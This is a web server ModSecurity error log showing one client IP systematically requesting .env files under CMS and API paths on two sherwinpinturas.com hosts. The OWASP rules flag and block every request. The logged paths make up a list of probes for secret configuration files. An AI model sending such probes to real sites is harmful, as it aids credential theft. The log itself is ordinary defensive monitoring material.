[Sat Oct 24 21:49:35.623280 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at1gLz8oejtZfsaip1YpSwAAABE"]
[Sat Oct 24 21:49:35.623514 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at1gLz8oejtZfsaip1YpSwAAABE"]
[Sat Oct 24 21:49:35.623846 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/wp/.env"] [unique_id "at1gLz8oejtZfsaip1YpSwAAABE"]
[Sat Oct 24 21:49:35.627671 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlAAAACE"]
[Sat Oct 24 21:49:35.627870 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlAAAACE"]
[Sat Oct 24 21:49:35.628105 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlAAAACE"]
[Sat Oct 24 21:49:35.667277 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v3/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlQAAACE"]
[Sat Oct 24 21:49:35.667492 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v3/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlQAAACE"]
[Sat Oct 24 21:49:35.667790 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v3/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlQAAACE"]
[Sat Oct 24 21:49:35.712894 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at1gLz8oejtZfsaip1YpTAAAABE"]
[Sat Oct 24 21:49:35.713128 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at1gLz8oejtZfsaip1YpTAAAABE"]
[Sat Oct 24 21:49:35.713459 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at1gLz8oejtZfsaip1YpTAAAABE"]
[Sat Oct 24 21:49:35.730658 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at1gLz8oejtZfsaip1YpTQAAABE"]
[Sat Oct 24 21:49:35.730947 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at1gLz8oejtZfsaip1YpTQAAABE"]
[Sat Oct 24 21:49:35.731323 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/drupal/.env"] [unique_id "at1gLz8oejtZfsaip1YpTQAAABE"]
[Sat Oct 24 21:49:35.763879 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlgAAACE"]
[Sat Oct 24 21:49:35.764197 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlgAAACE"]
[Sat Oct 24 21:49:35.764650 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlgAAACE"]
[Sat Oct 24 21:49:35.791895 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at1gLz8oejtZfsaip1YpTgAAABE"]
[Sat Oct 24 21:49:35.792217 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at1gLz8oejtZfsaip1YpTgAAABE"]
[Sat Oct 24 21:49:35.792668 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/joomla/.env"] [unique_id "at1gLz8oejtZfsaip1YpTgAAABE"]
[Sat Oct 24 21:49:35.861808 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v2/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlwAAACE"]
[Sat Oct 24 21:49:35.862119 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v2/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlwAAACE"]
[Sat Oct 24 21:49:35.862479 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v2/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWlwAAACE"]
[Sat Oct 24 21:49:35.877833 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /magento/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at1gLz8oejtZfsaip1YpTwAAABE"]
[Sat Oct 24 21:49:35.878092 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at1gLz8oejtZfsaip1YpTwAAABE"]
[Sat Oct 24 21:49:35.878430 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/magento/.env"] [unique_id "at1gLz8oejtZfsaip1YpTwAAABE"]
[Sat Oct 24 21:49:35.905434 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shopify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at1gLz8oejtZfsaip1YpUAAAABE"]
[Sat Oct 24 21:49:35.905663 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at1gLz8oejtZfsaip1YpUAAAABE"]
[Sat Oct 24 21:49:35.905981 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/shopify/.env"] [unique_id "at1gLz8oejtZfsaip1YpUAAAABE"]
[Sat Oct 24 21:49:35.967066 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at1gLz8oejtZfsaip1YpUQAAABE"]
[Sat Oct 24 21:49:35.967329 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at1gLz8oejtZfsaip1YpUQAAABE"]
[Sat Oct 24 21:49:35.967667 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at1gLz8oejtZfsaip1YpUQAAABE"]
[Sat Oct 24 21:49:35.986425 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /rest/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/rest/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWmAAAACE"]
[Sat Oct 24 21:49:35.986642 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/rest/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWmAAAACE"]
[Sat Oct 24 21:49:35.986985 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/rest/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWmAAAACE"]
[Sat Oct 24 21:49:36.001187 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /graphql/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/graphql/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmQAAACE"]
[Sat Oct 24 21:49:36.001382 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/graphql/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmQAAACE"]
[Sat Oct 24 21:49:36.001630 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/graphql/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmQAAACE"]
